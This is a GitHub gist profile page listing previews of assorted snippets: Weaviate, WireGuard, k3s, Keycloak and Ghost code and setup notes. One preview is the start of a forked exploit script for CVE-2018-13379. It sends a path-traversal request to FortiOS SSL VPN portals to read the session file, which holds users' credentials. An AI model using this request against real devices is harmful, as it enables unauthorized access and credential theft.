Skip to content

Instantly share code, notes, and snippets.

View jbelke's full-sized avatar
🎯
Focusing

Joshua Belke jbelke

🎯
Focusing
  • Magnetism Labs
  • NY
View GitHub Profile
@jbelke
jbelke / README.md
Last active September 4, 2024 20:06

Weaviate Docker Compose & Postman Collection

Introduction

This Postman collection is designed to help you interact with the Weaviate API, a vector database for AI-native applications. It contains various endpoints to explore the capabilities of Weaviate, such as listing available endpoints, managing schemas, and performing other key operations.

Getting Started

Before you can use this collection, you need to configure it for your local or remote Weaviate instance.

[
{
"coin": "BTC",
"name": "Bitcoin",
"regex": "^(bc1|[13])[a-zA-HJ-NP-Z0-9]{25,39}$",
"type": "coin",
"algorithm": "SHA-256",
"reward_unit": "BTC",
"reward_block": 6.25,
"updated": 1689609263
package org.keycloak.authentication.authenticators.browser;
import org.keycloak.authentication.AuthenticationFlowContext;
import org.keycloak.models.RoleModel;
import org.keycloak.models.UserModel;
import javax.ws.rs.core.MultivaluedMap;
import java.util.List;
import java.util.Map;
import java.util.regex.Pattern;
@jbelke
jbelke / CVE-2018-13379.py
Created July 20, 2022 14:37 — forked from code-machina/CVE-2018-13379.py
CVE-2018-13379 : A path traversal vulnerability in the FortiOS SSL VPN web portal
import requests, binascii, optparse
from urlparse import urlparse
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
requests.packages.urllib3.disable_warnings()
import multiprocessing
def checkIP(ip):
try:
url = "https://"+ip+"/remote/fgt_lang?lang=/../../../..//////////dev/cmdb/sslvpn_websession"
@jbelke
jbelke / discord-stock-ticker-howto.md
Created April 18, 2022 12:45 — forked from rssnyder/discord-stock-ticker-howto.md
How to run your down ticker bots!

Step 1: Download the ticker binary

Go to the github release page and find the latest release. For this example I will be using the v3.0.1 release.

Since we are targeting linux on an Intel CPU for this guide, copy the link for linux-amd64: discord-stock-ticker-v3.0.1-linux-amd64.tar.gz

Open a new terminal, and we will use wget to download the tar file: wget https://github.com/rssnyder/discord-stock-ticker/releases/download/v3.0.1/discord-stock-ticker-v3.0.1-linux-amd64.tar.gz

Now extract the binary using tar: tar zxf discord-stock-ticker-v3.0.1-linux-amd64.tar.gz

@jbelke
jbelke / WireGuard_Setup.txt
Created December 15, 2021 15:43 — forked from chrisswanda/WireGuard_Setup.txt
Stupid simple setting up WireGuard - Server and multiple peers
Install WireGuard via whatever package manager you use. For me, I use apt.
$ sudo add-apt-repository ppa:wireguard/wireguard
$ sudo apt-get update
$ sudo apt-get install wireguard
MacOS
$ brew install wireguard-tools
Generate key your key pairs. The key pairs are just that, key pairs. They can be
@jbelke
jbelke / README.md
Created October 16, 2021 17:47 — forked from triangletodd/README.md
k3s in LXC on Proxmox

On the host

Ensure these modules are loaded

cat /proc/sys/net/bridge/bridge-nf-call-iptables

Disable swap

sysctl vm.swappiness=0
swapoff -a
@jbelke
jbelke / !proxmox_k3s_cluster.sh
Created October 14, 2021 21:43 — forked from shawnhank/!proxmox_k3s_cluster.sh
Proxmox k3s cluster creation scripts
#!/bin/bash
# curl -s https://gist.githubusercontent.com/ilude/457f2ef2e59d2bff8bb88b976464bb91/raw/cluster_create_setup.sh?$(date +%s) > ~/bin/setup_cluster.sh; chmod +x ~/bin/setup_cluster.sh; setup_cluster.sh
echo "begin cluster_create_setup.sh"
export CREATE_TEMPLATE=1 #false
while test $# -gt 0; do
case "$1" in
--template)
export CREATE_TEMPLATE=0 #true
@jbelke
jbelke / GhostSearch.js
Created August 30, 2021 13:53 — forked from r3wt/GhostSearch.js
Search + Archive Implementation for a Ghost Blog
// begin config
const ghost_host = '<your host here>';//your blogs domain -- see documentation of tryghost/content-api
const ghost_key = '<your key here>';//key to your integration -- see documentation of tryghost/content-api
const updateInterval = 60000;//how often the index should update given in milliseconds
const requestTimeout = 5000;// maximum time for a search request before it times out given in milliseconds (note this isn't exact, it depends on the load of the event loop)
const resultsPerPage = [8];// allowed values for limit. in my case we only allow 8, but made this configurable so users of ghost can benefit
// end config
const elasticlunr = require('elasticlunr');
version: "3.9"
services:
db:
image: mysql:5.7
volumes:
- db_data:/var/lib/mysql
restart: always
environment:
MYSQL_ROOT_PASSWORD: somewordpress